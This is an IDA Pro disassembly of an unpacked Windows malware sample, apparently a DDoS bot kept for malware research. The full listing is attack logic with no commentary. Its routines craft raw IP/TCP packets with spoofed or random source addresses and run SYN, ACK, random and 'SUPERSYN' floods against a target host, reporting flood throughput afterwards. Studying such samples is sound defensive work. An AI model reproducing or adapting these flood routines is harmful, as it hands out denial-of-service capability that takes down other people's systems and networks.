;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	DBB93ADB3E5719BE4EE75A968793E255

; File Name   :	u:\work\dbb93adb3e5719be4ee75a968793e255_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000D0000 ( 851968.)
; Section size in file		: 000D0000 ( 851968.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40EE72+3A15o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		nop
		call	near ptr 2610602h
		push	eax
		call	sub_417302
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013EC
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_426050
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401093
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40D679
		add	esp, 14h

loc_401093:				; CODE XREF: sub_401000+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_290]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26101F3h
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B5	proc near		; CODE XREF: sub_4013EC+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43AD10
		test	eax, eax
		jz	short loc_4010F5
		xor	eax, eax
		jmp	loc_4013E8
; ---------------------------------------------------------------------------

loc_4010F5:				; CODE XREF: sub_4010B5+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43AE3C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013E0
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D6
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43AD98
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43AD98
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43AD98
		mov	[ebp+var_12], ax
		call	sub_41730C
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43AD98
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43AD94
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C5
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401219
; ---------------------------------------------------------------------------

loc_4011C5:				; CODE XREF: sub_4010B5+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011E1
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401219
; ---------------------------------------------------------------------------

loc_4011E1:				; CODE XREF: sub_4010B5+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401219
		call	sub_41730C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41730C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_401219:				; CODE XREF: sub_4010B5+10Ej
					; sub_4010B5+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43AD98
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2610A2Ah
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 26106C7h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_417760
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_401267:				; CODE XREF: sub_4010B5+2E2j
					; sub_4010B5+2F0j
		mov	[ebp+var_4], bx
		call	sub_41730C
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43AD98
		mov	[ebp+var_14], ax
		call	sub_41730C
		mov	edi, eax
		shl	edi, 10h
		call	sub_41730C
		or	edi, eax
		push	edi
		call	dword_43AD98
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43AD94
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43AD98
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AF39
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_417390
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013AA
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 26106C7h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D3
		jl	loc_401267
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D3
		jmp	loc_401267
; ---------------------------------------------------------------------------

loc_4013AA:				; CODE XREF: sub_4010B5+2CBj
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_426088
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		jmp	short loc_4013D6
; ---------------------------------------------------------------------------

loc_4013D3:				; CODE XREF: sub_4010B5+2E0j
					; sub_4010B5+2EEj
		mov	ebx, [ebp+arg_8]

loc_4013D6:				; CODE XREF: sub_4010B5+78j
					; sub_4010B5+31Cj
		push	[ebp+var_20]
		call	dword_43AE30
		pop	esi

loc_4013E0:				; CODE XREF: sub_4010B5+5Bj
		call	dword_43ACF8
		mov	eax, ebx

loc_4013E8:				; CODE XREF: sub_4010B5+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013EC	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41781F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_41781F
		mov	edi, eax
		call	sub_41730C
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B5
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40143B
		push	1
		pop	eax

loc_40143B:				; CODE XREF: sub_4013EC+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40144A	proc near		; DATA XREF: sub_40EE72+3C03o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43AE18
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E5
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_3BC]

loc_401493:				; DATA XREF: ___:off_4282ACo
		push	offset unk_426214
		push	eax
		call	sub_4172B0
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C8
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_4014C8:				; CODE XREF: sub_40144A+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26101F3h

loc_4014E5:				; CODE XREF: sub_40144A+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40155C
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4261CC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_40153F:				; CODE XREF: sub_40144A+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26101F3h

loc_40155C:				; CODE XREF: sub_40144A+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C3
		lea	eax, [ebp+var_3BC]
		push	offset unk_42619C
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A6
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_4015A6:				; CODE XREF: sub_40144A+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26101F3h

loc_4015C3:				; CODE XREF: sub_40144A+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43AD98
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43ADD8
		mov	esi, dword_424058
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi
		mov	[ebp+var_8], eax

loc_401601:				; CODE XREF: sub_40144A+2E8j
		call	esi
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017AC
		push	41Ch
		mov	byte_436AB8, 45h
		call	dword_43AD98
		cmp	[ebp+var_2C], edi
		mov	word_436ABA, ax
		mov	word_436ABC, bx
		mov	word_436ABE, di
		mov	byte_436AC0, 80h
		mov	byte_436AC1, bl
		mov	word_436AC2, di
		jz	short loc_401687
		call	sub_41730C
		mov	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		shl	ebx, 8
		call	sub_41730C
		add	ebx, eax
		push	1
		mov	dword_436AC4, ebx
		pop	ebx
		jmp	short loc_40169F
; ---------------------------------------------------------------------------

loc_401687:				; CODE XREF: sub_40144A+20Bj
		push	[ebp+var_1BC]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43ADD8
		mov	dword_436AC4, eax

loc_40169F:				; CODE XREF: sub_40144A+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_436AC8, eax
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_436ACC, dl
		call	sub_41730C
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_436ACD, dl
		call	sub_41730C
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_436ACE, di
		mov	word_436AD2, bx
		inc	edx
		mov	word_436AD0, dx
		call	sub_41730C
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_436AD4
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_436AB8
		push	[ebp+var_4]
		call	dword_43ADFC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401737
		inc	[ebp+arg_0]
		jmp	loc_401601
; ---------------------------------------------------------------------------

loc_401737:				; CODE XREF: sub_40144A+2E3j
		push	[ebp+var_4]
		call	dword_43AE30
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_42613C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_40178F:				; CODE XREF: sub_40144A+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		nop
		call	near ptr 26101F3h

loc_4017AC:				; CODE XREF: sub_40144A+1C8j
		push	[ebp+var_4]
		call	dword_43AE30
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4260DC
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401814
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40D679
		add	esp, 14h

loc_401814:				; CODE XREF: sub_40144A+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_38]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 26101F3h
		nop
sub_40144A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401831	proc near		; DATA XREF: sub_40EE72+159Do

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401992
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4018B1
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h

loc_4018B1:				; CODE XREF: sub_401831+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26101F3h
		pop	edi
		pop	esi
sub_401831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D0	proc near		; CODE XREF: sub_401992+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_43AD98
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_40198E
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h

loc_40191B:				; CODE XREF: sub_4018D0+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401923:				; CODE XREF: sub_4018D0+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401946
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah

loc_401946:				; CODE XREF: sub_4018D0+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_401923
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401954:				; CODE XREF: sub_4018D0+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_401954
		push	64h
		nop
		call	near ptr 2610E42h
		lea	esi, [ebp+var_654]
		mov	ebx, edi

loc_401978:				; CODE XREF: sub_4018D0+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_401978
		dec	[ebp+arg_4]
		jnz	short loc_40191B
		pop	edi
		pop	esi
		pop	ebx

loc_40198E:				; CODE XREF: sub_4018D0+3Ej
		xor	eax, eax
		leave
		retn
sub_4018D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401992	proc near		; CODE XREF: sub_401831+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40ADCA
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_41781F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41781F
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C8
		push	1
		pop	eax

loc_4019C8:				; CODE XREF: sub_401992+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D7	proc near		; DATA XREF: sub_40EE72+3906o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D28
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_426280
		push	eax
		call	sub_4172B0
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401A57
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40D679
		add	esp, 14h

loc_401A57:				; CODE XREF: sub_4019D7+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26101F3h
		pop	edi
		pop	esi
sub_4019D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A76	proc near		; CODE XREF: sub_401D28+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43AD10
		test	eax, eax
		jz	short loc_401AB6
		xor	eax, eax
		jmp	loc_401D24
; ---------------------------------------------------------------------------

loc_401AB6:				; CODE XREF: sub_401A76+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43AE3C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D1C
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43AD78
		cmp	eax, 0FFFFFFFFh
		jz	loc_401D12
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43AD98
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43AD98
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
